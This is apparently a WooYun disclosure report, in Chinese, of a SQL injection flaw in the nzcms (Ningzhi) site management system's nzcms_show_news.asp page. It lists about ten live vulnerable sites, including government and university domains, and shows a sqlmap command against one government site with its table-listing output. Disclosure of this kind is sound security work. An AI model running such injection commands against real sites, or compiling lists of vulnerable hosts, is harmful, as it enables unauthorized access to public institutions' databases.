WooYun.org

nzcms厂商网站：http://www.ningzhi.net/nzcms/
宁志网站管理系统有多个个版本均存在该SQL注射漏洞！
本屌不再按版本分类逐个递交刷分刷钱，同时也希望审合同志能多给本屌些奖金。
影响版本如下：

注射文件存在于 nzcms_show_news.asp
部分注射案例：
宁志建站系统gov版本：
http://www.hlwangkui.gov.cn/nzcms_show_news.asp?id=5740
http://www.lndz.com.cn/nzcms_show_news.asp?id=643
http://www.landwz.gov.cn/nzcms_show_news.asp?id=914
http://www.smlgbj.gov.cn/nzcms_show_news.asp?id=5436
http://www.lhtb.gov.cn/nzcms_show_news.asp?id=5894
http://www.sqsczx.com/nzcms_show_news.asp?id=59
宁志建站系统edu版本：
http://video.ncu.edu.cn/nzcms_show_news.asp?id=4524
http://gjsw.hntbc.edu.cn/tx/nzcms_show_news.asp?id=3151
http://218.64.56.26/nzcms_show_news.asp?id=4554
http://61.190.13.55/nzcms_show_news.asp?id=5772
SQL注射利用：
sqlmap.py -u "http://www.hlwangkui.gov.cn/nzcms_show_news.asp?id=7206" --tables
Database: Microsoft_Access_masterdb
[1 table]
+------+
| vote |
+------+